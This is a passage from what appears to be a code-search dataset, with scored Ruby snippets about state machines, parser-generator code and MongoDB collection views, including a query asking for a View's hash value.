# formatter.indent( %[ ] ) do\n # state.explanations[symbol].each do |explanation|\n # formatter << explanation.to_s\n # end\n # end\n # end\n # formatter << %[]\n # formatter << %[when #{quote_symbol(symbol)}]\n # formatter.indent do\n # case action\n # when Plan::Actions::Shift\n # formatter << %[@node_stack << consume(#{state.number})]\n # formatter << %[@state_stack << #{action.to_state.number}]\n # when Plan::Actions::Reduce\n # formatter << %[@on_deck = reduce_by_production_#{action.by_production.number}()]\n # when Plan::Actions::Accept\n # formatter << %[HOW DO WE ACCEPT?]\n # else\n # nyi \"generation support for #{action.plan.name}\"\n # end\n # end\n # end\n # formatter << %[]\n # formatter << %[#]\n # formatter << %[# Anything else is an error.]\n # formatter << %[]\n # formatter << %[else]\n # formatter << %[ ERROR HANDLING HERE]\n # formatter << %[end]\n # end\n # end\n # \n # #\n # # Generate the non-terminals processing for the state.\n # \n # formatter << %[]\n # formatter << %[#]\n # formatter << %[# Otherwise, we are processing the Node on deck.]\n # formatter << %[]\n # formatter << %[else]\n # formatter.indent do\n # if non_terminal_actions.empty? then\n # formatter << %[# no op]\n # else\n # formatter << %[@node_stack << @on_deck]\n # formatter << %[@on_deck = nil]\n # formatter << %[]\n # formatter << %[case @on_deck.type]\n # non_terminal_actions.each do |symbol, action|\n # formatter << %[when #{quote_symbol(symbol)}]\n # formatter.indent do\n # formatter << %[@state_stack << #{action.to_state.number}]\n # end\n # end\n # formatter << %[end]\n # end\n # end\n # \n # #\n # # Finish up.\n # \n # formatter << %[end]\n # end\n end", "title": "" }, { "docid": "01dfc907748c38925c019d67cb05b0cd", "score": "0.5595244", "text": "def fire\n state.fire\n end", "title": "" }, { "docid": "f0f326d225e8cbd133913143052a8a4a", "score": "0.55911463", "text": "def setup(state) ; end", "title": "" }, { "docid": "47a54a309c694d0b0c745243e208ecf4", "score": "0.5584022", "text": "def initialize( machine, object, method_name, options={} )\n @machine = machine\n @object = object\n @method_name = method_name\n @transitions = []\n @options = options.symbolize_keys!\n if options[:singleton]\n @target = object\n else\n @target = object.class\n @options = @target.state_fu_options[@method_name].merge(options)\n end\n @field_name = @options.delete(:field_name) || raise(\"No field_name supplied\")\n @persister = Persistence.for self\n\n # define event methods on this binding and its @object\n MethodFactory.new(self).install!\n @machine.helpers.inject_into self\n end", "title": "" }, { "docid": "9f8ebcda54b1e5469a135928a6a04eaa", "score": "0.5581505", "text": "def whiny_transitions=(_arg0); end", "title": "" }, { "docid": "9f8ebcda54b1e5469a135928a6a04eaa", "score": "0.5581505", "text": "def whiny_transitions=(_arg0); end", "title": "" }, { "docid": "659c5a377e2e3363581d1638661b4b52", "score": "0.55526495", "text": "def event(action, transitions, &block)\n transitions(:to => transitions[:to], :from => transitions[:from])\n states(transitions[:to],*transitions[:from])\n define_method(\"#{action.to_s}\") { |*options|\n datetime = options.shift || Time.now\n self.transition(transitions[:to],datetime)\n }\n \n # SomeStatefulModel#accepted? is created, returning true if the model's current state matches the method's name (in this case accepted?), false otherwise.\n #\n define_method(\"#{transitions[:to].to_s}?\") {\n self.current_state.name == StateMachine.symbol_to_name(transitions[:to])\n }\n \n # Also SomeStatefulModel.accepted is created, returning all records currently in the accepted state.\n #\n self.instance_eval <<-EOC\n def #{transitions[:to]}(options = {})\n order = options[:order].nil? ? \"\" : \"ORDER BY \" + options[:order]\n #{self.to_s}.find_by_sql(\n \"SELECT *\n FROM #{self.to_s.tableize}\n WHERE id IN\n (SELECT stateful_entity_id\n FROM states\n WHERE states.id IN\n (SELECT DISTINCT ON (stateful_entity_id) id\n FROM states\n WHERE stateful_entity_type = '#{self.to_s}'\n ORDER BY stateful_entity_id DESC, precedence DESC)\n AND precedence = #{precedences[transitions[:to]]})\n \\#{order}\")\n end\n EOC\n end", "title": "" }, { "docid": "2a45b43949f00de54982cbc654523981", "score": "0.55494314", "text": "def state_machine\n @state_machine ||= self.class.instantiate_state_machine_template\n end", "title": "" }, { "docid": "b8cf49032c8937fdea4e6c1855365d85", "score": "0.5545854", "text": "def states; end", "title": "" }, { "docid": "b8cf49032c8937fdea4e6c1855365d85", "score": "0.5545854", "text": "def states; end", "title": "" }, { "docid": "b8cf49032c8937fdea4e6c1855365d85", "score": "0.5545854", "text": "def states; end", "title": "" }, { "docid": "16f633589d6579022851d03b5d9b6310", "score": "0.55395204", "text": "def call\n State.new check, message\n end", "title": "" }, { "docid": "47f78c65693ba8f11ebff6a5ee4a4832", "score": "0.55234015", "text": "def run_state_machine\n loop {\n cmd = @cmd_queue.shift\n begin\n unless cmd.nil?\n c = cmd.shift\n transmitStatusUpdate(\"#{c} command received.\")\n send(:\"do_#{c}\", *cmd)\n bell_click\n else # state checking\n unless [:failed, :bug].member? @state\n # Here we will set the sleep quantum always to be 0.10,\n # but the state handler itself may reset this. And will\n # have to on every invocation!\n #\n # Note that because we can have @state transistioned within a state handler,\n # we must keep track of what state the sleep_quantum was set for, hince\n # qstate.\n @microstates[qstate = @state].sleep_quantum = DEFAULT_SLEEP_QUANTUM\n send(:\"do_#{@state}\", @microstates[@state])\n sleep(unless @microstates[qstate].nil?\n @microstates[qstate].sleep_quantum\n else\n DEFAULT_SLEEP_QUANTUM\n end) # Will be awakened early if need be.\n else\n Thread.stop\n end\n end\n rescue Exception => err\n p err\n puts err.backtrace.join(\"\\n\")\n state_to :bug, err, c, cmd\n end\n }\n end", "title": "" }, { "docid": "e74c9f5623aead3a8778db91df5feaa6", "score": "0.5521559", "text": "def initialize(owner_class, *args, &block)\n options = args.last.is_a?(Hash) ? args.pop : {}\n options.assert_valid_keys(:attribute, :initial, :initialize, :action, :plural, :namespace, :integration, :messages, :use_transactions)\n\n # Find an integration that matches this machine's owner class\n if options.include?(:integration)\n @integration = options[:integration] && StateMachines::Integrations.find_by_name(options[:integration])\n else\n @integration = StateMachines::Integrations.match(owner_class)\n end\n\n if @integration\n extend @integration\n options = (@integration.defaults || {}).merge(options)\n end\n\n # Add machine-wide defaults\n options = {use_transactions: true, initialize: true}.merge(options)\n\n # Set machine configuration\n @name = args.first || :state\n @attribute = options[:attribute] || @name\n @events = EventCollection.new(self)\n @states = StateCollection.new(self)\n @callbacks = {before: [], after: [], failure: []}\n @namespace = options[:namespace]\n @messages = options[:messages] || {}\n @action = options[:action]\n @use_transactions = options[:use_transactions]\n @initialize_state = options[:initialize]\n @action_hook_defined = false\n self.owner_class = owner_class\n\n # Merge with sibling machine configurations\n add_sibling_machine_configs\n\n # Define class integration\n define_helpers\n define_scopes(options[:plural])\n after_initialize\n\n # Evaluate DSL\n instance_eval(&block) if block_given?\n self.initial_state = options[:initial] unless sibling_machines.any?\n end", "title": "" }, { "docid": "7550b3fdd7943862dc8312aba8947b00", "score": "0.55133045", "text": "def add_actions\n # Checks whether the event can be fired on the current object\n machine.define_instance_method(\"can_#{qualified_name}?\") do |machine, object|\n machine.event(name).can_fire?(object)\n end\n\n # Gets the next transition that would be performed if the event were\n # fired now\n machine.define_instance_method(\"#{qualified_name}_transition\") do |machine, object|\n machine.event(name).transition_for(object)\n end\n\n # Fires the event\n machine.define_instance_method(qualified_name) do |machine, object, *args|\n machine.event(name).fire(object, *args)\n end\n\n # Fires the event, raising an exception if it fails\n machine.define_instance_method(\"#{qualified_name}!\") do |machine, object, *args|\n object.send(qualified_name, *args) || raise(StateMachine::InvalidTransition, \"Cannot transition #{machine.name} via :#{name} from #{machine.states.match!(object).name.inspect}\")\n end\n end", "title": "" }, { "docid": "22034da7c438e0548baa97475bd104a6", "score": "0.55040276", "text": "def go\n self.read_instructions\n self.create_rovers\n self.send_instructions\n self.check_rovers\n end", "title": "" }, { "docid": "c94422f3587da5128e951699e6e706b2", "score": "0.5500137", "text": "def whiny_transitions; end", "title": "" }, { "docid": "c94422f3587da5128e951699e6e706b2", "score": "0.5500137", "text": "def whiny_transitions; end", "title": "" }, { "docid": "6abcc6737c8384327339501931ea06b5", "score": "0.5499363", "text": "def execute\n validate\n @logger.info('Starting State Machine')\n Thread.abort_on_exception = true\n Thread.new do\n until breakout\n @actions.each_value do |action|\n action.execute\n break if breakout\n end\n end\n update_option_group_run_phase_state('STOPPED')\n end\n @logger.info('State Machine Stopped')\n end", "title": "" }, { "docid": "0024d990e0dcb9c2cb7faafad07c625c", "score": "0.54952395", "text": "def state_call(node, new_state)\n\n end", "title": "" }, { "docid": "3ed8a887a3b2357c3b5ed42f9ab93798", "score": "0.5480748", "text": "def states=(_arg0); end", "title": "" }, { "docid": "3ed8a887a3b2357c3b5ed42f9ab93798", "score": "0.5480748", "text": "def states=(_arg0); end", "title": "" }, { "docid": "664d86d4ed2403d6e940abd1f3414ebc", "score": "0.5479408", "text": "def test_state_simple_transition_define\n\n myfsmc = StateModelCreator.new\n myfsmc.define_action :action1 do\n puts \"stuff\"\n end # end add action\n\n # Create a transition\n myfsmc.attach_transition(:STATEA ,:action1 ,:STATEB)\n # Check states were added\n assert(myfsmc.states.include?(:STATEA) , \"Check STATEA added\")\n assert(myfsmc.states.include?(:STATEB) , \"Check STATEB added\")\n end", "title": "" }, { "docid": "c25b3564c5594d235493c4b55c09c2a0", "score": "0.54726684", "text": "def define_state_initializer\n define_helper :instance, <<-end_eval, __FILE__, __LINE__ + 1\n def initialize(*)\n self.class.state_machines.initialize_states(self) { super }\n end\n end_eval\n end", "title": "" }, { "docid": "58760b1bb01e1b5ea65ee67bbc45bfa1", "score": "0.54640645", "text": "def __build; end", "title": "" }, { "docid": "d86b7c97c0cba8c1eaae0fea25a5ab36", "score": "0.546347", "text": "def build\n raise \"build not implemented in base class\"\n end", "title": "" }, { "docid": "abc99270a5a1c1e7bc594b9434652892", "score": "0.5458027", "text": "def build!\n raise NotImplementedError, \"`build!' is not implemented by #{self.class.name}\"\n end", "title": "" }, { "docid": "1f4d404dcdd71c40c4698bb5a1527c4b", "score": "0.5453819", "text": "def state_machine\n @state_machine ||= SubProjectMachine.new(self, {\n transition_class: ProjectTransition\n })\n end", "title": "" }, { "docid": "370362c88ee2e4e45eb584eacc6445b9", "score": "0.54334325", "text": "def stately_machine\n self.instance_variable_get(:@stately_machine)\n end", "title": "" }, { "docid": "1f6c4d99245b6f7a112b551eb6957d49", "score": "0.54219896", "text": "def start_state\n raise NotImplementedError.new(\"start_state() not implemented\")\n end", "title": "" }, { "docid": "5772d1543808c2752c186db7ce2c2ad5", "score": "0.54155886", "text": "def actions(state:)\n raise NotImplementedError\n end", "title": "" }, { "docid": "2dba8a52a6b107ce5368e5a613d7cd83", "score": "0.5409577", "text": "def advance_state!\n case current_state.name\n when /uninitialized/\n verify_report_keys!\n when /waiting_for_report_keys/\n confirm_report_keys!\n when /report_keys_loaded/\n build_connections!\n when /building_connections/\n confirm_connections!\n when /connections_built/\n build_smart_routes!\n when /building_smart_routes/\n confirm_smart_routes!\n when /smart_routes_built/\n build_route_maps!\n when /building_route_maps/\n confirm_route_maps!\n when /route_maps_built/\n finalize!\n end\n end", "title": "" }, { "docid": "2e7f551fec883c80a1a3f61bc27686b2", "score": "0.5400321", "text": "def state; end", "title": "" }, { "docid": "2e7f551fec883c80a1a3f61bc27686b2", "score": "0.5400321", "text": "def state; end", "title": "" }, { "docid": "2e7f551fec883c80a1a3f61bc27686b2", "score": "0.5400321", "text": "def state; end", "title": "" }, { "docid": "2e7f551fec883c80a1a3f61bc27686b2", "score": "0.5400321", "text": "def state; end", "title": "" }, { "docid": "2e7f551fec883c80a1a3f61bc27686b2", "score": "0.5400321", "text": "def state; end", "title": "" }, { "docid": "2e7f551fec883c80a1a3f61bc27686b2", "score": "0.5400321", "text": "def state; end", "title": "" }, { "docid": "2e7f551fec883c80a1a3f61bc27686b2", "score": "0.5400321", "text": "def state; end", "title": "" }, { "docid": "2e7f551fec883c80a1a3f61bc27686b2", "score": "0.5400321", "text": "def state; end", "title": "" }, { "docid": "2e7f551fec883c80a1a3f61bc27686b2", "score": "0.5400321", "text": "def state; end", "title": "" } ]
ccd281fb41076f032d4d8fe497ef39c6
A hash value for the +View+ composed of the collection namespace, hash of the options and hash of the filter.
[ { "docid": "8cbcee8b588e4f1cb942648146cf703b", "score": "0.74879414", "text": "def hash\n [ collection.namespace, options.hash, filter.hash ].hash\n end", "title": "" } ]
[ { "docid": "bff06a58aa137dc5ae9384d09e343799", "score": "0.66173124", "text": "def inspect\n \"#<Mongo::Collection::View:0x#{object_id} namespace='#{collection.namespace}'\" +\n \" @filter=#{filter.to_s} @options=#{options.to_s}>\"\n end", "title": "" }, { "docid": "0f9fa58061722217225d4e052a69414e", "score": "0.6267384", "text": "def view\n @filters\n end", "title": "" }, { "docid": "0859dd9ca207653773a701960dd72b9f", "score": "0.6136487", "text": "def collection_options\n {}\n end", "title": "" }, { "docid": "fbf3a72fff113315a3fdfdadc2c50e11", "score": "0.610369", "text": "def view_context\n OpenStruct.new(@options.select do |k, v|\n attributes.include?(k)\n end)\n end", "title": "" }, { "docid": "6803c92d38caa14481adf73fba47305e", "score": "0.60747206", "text": "def cache_options\n {\n namespace: collection.namespace,\n selector: pipeline,\n read_concern: view.read_concern,\n read_preference: view.read_preference,\n collation: options[:collation],\n # Aggregations can read documents from more than one collection,\n # so they will be cleared on every write operation.\n multi_collection: true,\n }\n end", "title": "" }, { "docid": "2b24b87fed9cbb231ab9f3b878743764", "score": "0.5942771", "text": "def filter_options\n @filter.options\n end", "title": "" }, { "docid": "4a56054f52267dcd3ad5c88aa8d9485c", "score": "0.58057094", "text": "def collections_fields\n collections = YAML.load_file(File.expand_path(\"#{Rails.root}/config/collections.yml\", __FILE__))\n collections[\"search_filters\"]\n end", "title": "" }, { "docid": "5721364131caae7adcbe66c3f5bd2235", "score": "0.5761063", "text": "def collection options = {}\n default_options = { :collection => @collection, :template_name => :collection_item, :separator => nil }\n \n render_partial :collection, default_options.merge(options)\n end", "title": "" }, { "docid": "264e9fe1a568a836f5c34d507475575a", "score": "0.57489645", "text": "def list_filters\n {\n selection_active: \"SelectionActive eq VALUE\",\n app_no: \"AppNo eq VALUE\"\n }\n end", "title": "" }, { "docid": "cd504fed86e129fd6ed62557a2f5b798", "score": "0.56815916", "text": "def filter_hash\n @filter_hash ||= filter_hash_from_params || voo.filter || default_filter_hash\n end", "title": "" }, { "docid": "8bc1c6539b6c787c3ec97fbbf41548ef", "score": "0.56688166", "text": "def list_filters\n {}\n end", "title": "" }, { "docid": "5c5f770f162b6256f8d793ec82f9f440", "score": "0.5664574", "text": "def view_props\n {}\n end", "title": "" }, { "docid": "c92c3453bddabbe1ff482f3bff38c66d", "score": "0.56515414", "text": "def list_filters\n {\n category: \"Category eq VALUE\",\n title: \"Title eq VALUE\"\n }\n end", "title": "" }, { "docid": "4ceadf958c5c87ac7f911df5d6242023", "score": "0.5603065", "text": "def options\n {\n :filter => self.filter_options,\n :paging => self.paging_options,\n :select => self.select_options,\n :sorting => self.sorting_options,\n :values => @values,\n }\n end", "title": "" }, { "docid": "afa189a751c7eb2fba6c7d55af6b3427", "score": "0.54914063", "text": "def collection_interpolation #:nodoc:\n options = {}\n\n if collection_name = self.class.matcher_arguments[:collection]\n collection_name = collection_name.to_sym\n collection = instance_variable_get(\"@#{collection_name}\")\n options[collection_name] = array_to_sentence(collection) if collection\n\n object_name = self.class.matcher_arguments[:as].to_sym\n object = instance_variable_get(\"@#{object_name}\")\n options[object_name] = object if object\n end\n\n options\n end", "title": "" }, { "docid": "afa189a751c7eb2fba6c7d55af6b3427", "score": "0.54914063", "text": "def collection_interpolation #:nodoc:\n options = {}\n\n if collection_name = self.class.matcher_arguments[:collection]\n collection_name = collection_name.to_sym\n collection = instance_variable_get(\"@#{collection_name}\")\n options[collection_name] = array_to_sentence(collection) if collection\n\n object_name = self.class.matcher_arguments[:as].to_sym\n object = instance_variable_get(\"@#{object_name}\")\n options[object_name] = object if object\n end\n\n options\n end", "title": "" }, { "docid": "b4b49e58a85a086c28d1904c4a201cdd", "score": "0.54864573", "text": "def filters\n @filters\nend", "title": "" }, { "docid": "36014b93e56dfcd85f63f87ede562b7f", "score": "0.54625475", "text": "def default_filter_hash\n {}\n end", "title": "" }, { "docid": "34024d1d9336a6c58b2c5a4fc4419cbf", "score": "0.54474586", "text": "def to_hash\n name = filters.delete(:resource_name).to_sym\n query_params = filters.keys.map(&:to_sym)\n\n registry[name].slice(*query_params)\n end", "title": "" }, { "docid": "8195f86caaa82ec2b68c3bc8be183fd1", "score": "0.5444853", "text": "def uhook_index_filters\n {}\n end", "title": "" }, { "docid": "9bd9e305a11f92e005bade9d99dafe02", "score": "0.54413694", "text": "def collection\n return @client.api_helper.collection(\"filters\")\n end", "title": "" }, { "docid": "59335fe6a51e9eb96d6d5f140d00cd4a", "score": "0.5428781", "text": "def collection_options(collection)\n if version >= Gem::Version.new('4.0')\n super\n else\n {\n links: collection_links(collection),\n meta: collection_meta(collection),\n include: resource_includes,\n fields: sparse_fields\n }\n end\n end", "title": "" }, { "docid": "7f2f4c2110993f6accdd6c2d9770fd14", "score": "0.5399656", "text": "def to_h\n\n h = super\n h['dispatch_time'] = @dispatch_time\n h['attributes']['__filter__'] &&= filter.to_h\n h\n end", "title": "" }, { "docid": "40fa3167ad1d71736f4bec4fe6410c58", "score": "0.539064", "text": "def list_filters\n {\n position_code: \"PositionCode eq VALUE\",\n specialty: \"Specialty eq VALUE\",\n id: \"ID eq VALUE\"\n }\n end", "title": "" }, { "docid": "d4c46e128f5030301ae7d66a25d0b226", "score": "0.5388459", "text": "def link_to_filter_options(filters)\n options = { controller: 'issues', action: 'index', set_filter: 1,\n fields: [], values: {}, operators: {}, f:[], v: {}, op: {} }\n\n filters.each do |f|\n name, operator, value = f\n\n options[:fields].push(name)\n options[:f].push(name)\n\n options[:operators][name] = operator\n options[:op][name] = operator\n\n options[:values][name] = [value]\n options[:v][name] = [value]\n end\n options\n end", "title": "" }, { "docid": "3ecc3271bb4740cce78072569142487c", "score": "0.5379127", "text": "def filters\n @filters ||= {}\n end", "title": "" }, { "docid": "3ecc3271bb4740cce78072569142487c", "score": "0.5379127", "text": "def filters\n @filters ||= {}\n end", "title": "" }, { "docid": "603828770ea63c32efb11d93beec4dbc", "score": "0.5367966", "text": "def set_filter_options\n session[:filters] ||= HashWithIndifferentAccess.new(@@defaults)\n session[:filters] = session[:filters].merge params.slice(:tags, :collections, :last_exported_begin, :last_exported_end, :search, :page, :per_page)\n end", "title": "" }, { "docid": "caac3357384713db3c3dd54f0fba9211", "score": "0.53545505", "text": "def filters\n @filters ||= {}\n end", "title": "" }, { "docid": "40f47b4a6204052d6cc3123b843113d8", "score": "0.5344721", "text": "def filters\n @filters\n end", "title": "" }, { "docid": "10a154017de1e871684b0a3538af6e3e", "score": "0.53249055", "text": "def hash\n [description, filter].hash\n end", "title": "" }, { "docid": "376693d628687c3c79e877802d900d74", "score": "0.5320731", "text": "def to_hash\n hash = super\n if @filter\n _filter = @filter.respond_to?(:to_hash) ? @filter.to_hash : @filter\n hash[self.name].update(filter: _filter)\n end\n if @no_match_filter\n _no_match_filter = @no_match_filter.respond_to?(:to_hash) ? @no_match_filter.to_hash : @no_match_filter\n hash[self.name].update(no_match_filter: _no_match_filter)\n end\n hash\n end", "title": "" }, { "docid": "376693d628687c3c79e877802d900d74", "score": "0.5320731", "text": "def to_hash\n hash = super\n if @filter\n _filter = @filter.respond_to?(:to_hash) ? @filter.to_hash : @filter\n hash[self.name].update(filter: _filter)\n end\n if @no_match_filter\n _no_match_filter = @no_match_filter.respond_to?(:to_hash) ? @no_match_filter.to_hash : @no_match_filter\n hash[self.name].update(no_match_filter: _no_match_filter)\n end\n hash\n end", "title": "" }, { "docid": "b564617f8f8b54ebb0e845fd67cb1ba7", "score": "0.5320234", "text": "def available_filters\n\t\t\t{}\n\t\tend", "title": "" }, { "docid": "ffd991a26ea911a38dbb0780ef7371f8", "score": "0.531119", "text": "def filter\n\n @attributes['__filter__']\n end", "title": "" }, { "docid": "940f160676eeab247beb7b4fa3e93f7e", "score": "0.5309502", "text": "def view_object_hash(obj)\n return nil unless obj\n\n {\n :spec => spec_url(\"collections\", collection_name(obj), \"member\"),\n :id => view_object_url(obj),\n :name => obj.name\n }\n end", "title": "" }, { "docid": "fbd975d25ec6f618c51fc6972af94d22", "score": "0.5309351", "text": "def render_filter(filter_name, url_for_options, options_for_filter = {})\n if options_for_filter[:boolean]\n # Build a mock :collection object (use OpenStruct for simplicity)\n options_for_filter[:collection] = [\n OpenStruct.new(:option_id => 0, :name => options_for_filter[:caption_false]),\n OpenStruct.new(:option_id => 1, :name => options_for_filter[:caption_true]), \n ]\n # Don't use :id as :id_field but, as :id is internally used by Ruby and will fail\n options_for_filter.update(:id_field => :option_id, :name_field => :name)\n end\n \n partial_template = case filter_name.to_sym \n when :links_or_select\n if options_for_filter[:collection].size <= (options_for_filter[:max_size_for_links] || Ubiquo::Config.get(:max_size_for_links_filter))\n \"shared/ubiquo/filters/links_filter\" \n else \n \"shared/ubiquo/filters/select_filter\" \n end\n else\n \"shared/ubiquo/filters/#{filter_name}_filter\" \n end \n \n link = params.reject do |key, values|\n filter_fields = [options_for_filter[:field]].flatten.map(&:to_s)\n toremove = %w{commit controller action page} + filter_fields\n toremove.include?(key)\n end.to_hash\n \n locals = {\n :partial_locals => {\n :options => options_for_filter,\n :url_for_options => url_for_options, \n :link => link,\n },\n :partial => partial_template,\n }\n render :partial => \"shared/ubiquo/filters/filter\", :locals => locals \n end", "title": "" }, { "docid": "47014be73334ed5710fd4fcdfc859b5a", "score": "0.5303134", "text": "def filters\n filters_store.keys\n end", "title": "" }, { "docid": "844f055c753013314fded5a9cfd0e761", "score": "0.5299816", "text": "def initialize(view, pipeline, options = {})\n @view = view\n @pipeline = pipeline.dup\n unless Mongo.broken_view_aggregate || view.filter.empty?\n @pipeline.unshift(:$match => view.filter)\n end\n @options = BSON::Document.new(options).freeze\n end", "title": "" }, { "docid": "23da000f6665913db1e85304a95a63da", "score": "0.52886766", "text": "def filters\n filters_enabled? ? filter_lookup : {}\n end", "title": "" }, { "docid": "95f86ca6ece3eaa806fb6fcfb1b3f6ac", "score": "0.5286643", "text": "def hash\n [conversation_filters, segment_filters, evaluation_filters, media_endpoint_stat_filters, survey_filters, order, order_by, interval, aggregations, paging].hash\n end", "title": "" }, { "docid": "99e9306760c40cdc259cb7ea043a71a5", "score": "0.52843535", "text": "def filters hash\n @filter_of = hash\n end", "title": "" }, { "docid": "1e20712e3163233c8fd58439741ec89c", "score": "0.5282545", "text": "def filter_params\n self[:filter]\n end", "title": "" }, { "docid": "fd0eb04f6f3f8d6f3b2bf9009c2735a7", "score": "0.5274541", "text": "def collection_info(filter)\n result = @client.database.list_collections\n\n name = filter['name']\n result.find { |r| r['name'] == name }\n end", "title": "" }, { "docid": "516fed80b23464a21450235fbeaf130f", "score": "0.5263168", "text": "def filter_settings\n resource_class.filter_settings\n end", "title": "" }, { "docid": "7ed7bfe9521e53aae9c62446ab182c09", "score": "0.52562743", "text": "def filters\n self.class.filters\n end", "title": "" }, { "docid": "bbcdda9a1f5f2a27bcdd127a35aca61a", "score": "0.52529275", "text": "def view_options(opts = nil)\n @view_options ||= AppViewOptions.new\n if opts.blank?\n @view_options.freeze.to_h.delete_if { |k, v| v.nil? }\n else\n opts.each{|k, v| @view_options[k] = v}\n end\n end", "title": "" }, { "docid": "a2a1d7cdaa99ca59a6ebedda4dafbd63", "score": "0.52389663", "text": "def resource(options = {})\n if options.is_a?(Hash) && options.key?(:filter) && !options[:filter].empty?\n options[:filter] = Hash[options[:filter].map {|k, v| [CGI::escape(\"search[#{k}]\"), v] }]\n end\n super options\n end", "title": "" }, { "docid": "5b97ce85c174a9a4fb951655c47e1261", "score": "0.5237522", "text": "def filter_options\n (FilteredColumn.filters.keys).inject([]) { |arr, key| arr << [FilteredColumn.filters[key].filter_name, key.to_s] }.unshift(['Plain HTML', ''])\n end", "title": "" }, { "docid": "da45b9a8b651e28e8d04ddd49acfca28", "score": "0.5226114", "text": "def with_filters_select_tag(filter)\n collection = filter.collection\n unless filter.collection.is_a?(String)\n collection = filter.collection.map do |choice|\n html_attributes = choice.attrs.length > 0 ? ' ' + choice.attrs.map {|k, v| %(#{k.to_s}=\"#{v}\")}.join(' ') : ''\n selected_attribute = choice.selected? ? ' selected=\"selected\"' : ''\n\n %(<option value=\"#{ERB::Util.html_escape(choice.value)}\"#{selected_attribute}#{html_attributes}>#{ERB::Util.html_escape(choice.label)}</option>)\n end.join(\"\\n\")\n end\n\n select_tag(filter.field_name, collection.html_safe, filter.attrs)\n end", "title": "" }, { "docid": "656e3e62d123f8d16933e24e71ea62da", "score": "0.52133965", "text": "def filters\n @filters\n end", "title": "" }, { "docid": "656e3e62d123f8d16933e24e71ea62da", "score": "0.52133965", "text": "def filters\n @filters\n end", "title": "" }, { "docid": "656e3e62d123f8d16933e24e71ea62da", "score": "0.52133965", "text": "def filters\n @filters\n end", "title": "" }, { "docid": "656e3e62d123f8d16933e24e71ea62da", "score": "0.52133965", "text": "def filters\n @filters\n end", "title": "" }, { "docid": "7e74120c59a131eb4850569d74654c65", "score": "0.52006316", "text": "def build_collection_items_with_sorting_and_filtering\n set_view_as_options\n @view_as = ViewStyle.find(params[:view_as].blank? ? @collection.default_view_style : params[:view_as])\n set_sort_options\n @sort_by = SortStyle.find(params[:sort_by].blank? ? @collection.default_sort_style : params[:sort_by])\n @filter = params[:filter]\n @page = params[:page]\n @selected_collection_items = params[:collection_items] || []\n # NOTE - you still need these counts on the Update page:\n @facet_counts = EOL::Solr::CollectionItems.get_facet_counts(@collection.id)\n @collection_results = @filter == 'editors' ? [] :\n @collection.items_from_solr(:facet_type => @filter, :page => @page, :sort_by => @sort_by)\n @collection_items = @collection_results.map { |i| i['instance'] }\n if params[:commit_select_all]\n @selected_collection_items = @collection_items.map {|ci| ci.id.to_s }\n end\n end", "title": "" }, { "docid": "ab41abdf3d5dc554af50e12376953449", "score": "0.51929265", "text": "def filters\n @filter_params.to_unsafe_hash\n end", "title": "" }, { "docid": "ea9380847c6cbe76e28db189526a33f1", "score": "0.5190599", "text": "def filters\n self.class.filters\n end", "title": "" }, { "docid": "eb2996860362f20764d82a1c47575e1a", "score": "0.5170928", "text": "def query_filters; end", "title": "" }, { "docid": "fde9d93312a4dac25441dc4b55971b8d", "score": "0.5170032", "text": "def available_filters_as_json\n json = {}\n available_filters.each do |field, options|\n json[field] = options.slice(:type, :name, :values).stringify_keys\n end\n json\n end", "title": "" }, { "docid": "72db10569560257064b5cbb0e1f9ec1f", "score": "0.5169634", "text": "def collection_names(options = {})\n View.new(self).collection_names(options)\n end", "title": "" }, { "docid": "ec6ecfceef729ddc906fdb4c2805835b", "score": "0.51627725", "text": "def filtered_views\n read_attribute(:filtered_views) || nil\n end", "title": "" }, { "docid": "283bc72f1070e13a849cd00a5c1bb47f", "score": "0.51604104", "text": "def my_virtual_collection_params\n params[:collection]\n end", "title": "" }, { "docid": "969999c6a1896b143a2afe97371f436b", "score": "0.51409966", "text": "def widget_options\n app_options = {}\n app_options[:level] ||= {}\n app_options[:level].merge! @level.properties.camelize_keys\n app_options.merge! view_options.camelize_keys\n app_options\n end", "title": "" }, { "docid": "4ee3e5c539624eefe8d73464c7636c77", "score": "0.5122863", "text": "def filter_select_opts\n [{:text => '', :value => 'none', :id => 'opt-none', :visible => true}] + \n VwcAllCombined.filterables.map{|fld| \n {:text => \"Filter on #{fld.humanize.titlecase}\", \n :value => fld, \n :id => \"opt-#{fld}\", \n :visible => true} \n }\n end", "title": "" }, { "docid": "64ca4b9fc086d8f78152348ea15e7620", "score": "0.5121359", "text": "def render_results_collection_tools(options = {})\n render_filtered_partials(blacklight_config.view_config(document_index_view_type).collection_actions, options)\n end", "title": "" }, { "docid": "1758247479ca146039c3709522201952", "score": "0.5109504", "text": "def default_filter filters; custom_filter_defaults.update filters.stringify_keys; end", "title": "" }, { "docid": "c1355703cc75d99e2457da10c7806bb9", "score": "0.5103045", "text": "def filter=( opts )\n self.filter_raw = ( opts.blank? ? nil : opts.to_yaml )\n end", "title": "" }, { "docid": "89095cebf841916c8aed44e907a8ac73", "score": "0.50984085", "text": "def collection_options(**options)\n initialize_default_collection_opts\n\n options.each do |key, value|\n raise(\"Invalid key passed to collection_options: #{key}\") unless valid_collection_option?(key)\n\n _default_collection_opts[key] = value\n end\n _default_collection_opts[:iri_template] = _default_collection_opts[:collection_class].generate_iri_template(\n _default_collection_opts[:iri_template_keys]\n )\n _default_collection_opts\n end", "title": "" }, { "docid": "3e04b448ded35e1db34492f738efe3c6", "score": "0.5095693", "text": "def inspect\n \"#{self} name: #{self.CollectionName}\"\n end", "title": "" }, { "docid": "47e8bbc6a7719a426977cf7511aaaea1", "score": "0.5094037", "text": "def configure_sorting_and_filtering_and_facet_counts\n set_view_as_options\n @view_as = ViewStyle.find(params[:view_as].blank? ? @collection.default_view_style : params[:view_as])\n set_sort_options\n @sort_by = SortStyle.find(params[:sort_by].blank? ? @collection.default_sort_style : params[:sort_by])\n @filter = params[:filter]\n @page = params[:page]\n @selected_collection_items = params[:collection_items] || []\n\n # NOTE - you still need these counts on the Update page:\n @facet_counts = EOL::Solr::CollectionItems.get_facet_counts(@collection.id)\n end", "title": "" }, { "docid": "c59f656db432479698b096ded5ff1b2a", "score": "0.5093868", "text": "def inspect\n string = \"#<#{self.class}:#{@options} %s>\"\n\n string % (@all || self.keys).inspect\n end", "title": "" }, { "docid": "fde1f9d3a832adb498278e2b317322b6", "score": "0.50930154", "text": "def with_options(view, options)\n map = { fields: :projection }\n options.each do |option, value|\n option = map.fetch(option, option)\n view = view.send(option, value) if view.respond_to?(option)\n end\n view\n end", "title": "" }, { "docid": "0404d5482aa6b80e74d16e40769d285f", "score": "0.5091882", "text": "def options\n ::Hash[name: @name, values: @values, verb: @verb, csrf_token: 